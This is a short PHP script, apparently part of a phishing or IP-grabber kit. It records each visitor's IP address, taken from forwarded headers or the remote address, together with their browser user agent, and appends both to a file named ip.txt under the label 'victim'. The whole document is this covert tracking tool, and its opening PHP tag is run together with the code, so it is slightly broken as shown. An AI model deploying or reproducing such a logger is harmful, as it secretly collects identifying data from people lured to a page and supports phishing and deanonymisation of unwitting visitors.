<?phpif (!empty($_SERVER['HTTP_CLIENT_IP'])){$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";}elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";}else{$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";}$useragent = " User-Agent: ";$browser = $_SERVER['HTTP_USER_AGENT'];$file = 'ip.txt';$victim = "IP: ";$fp = fopen($file, 'a');fwrite($fp, $victim);fwrite($fp, $ipaddress);fwrite($fp, $useragent);fwrite($fp, $browser);fclose($fp);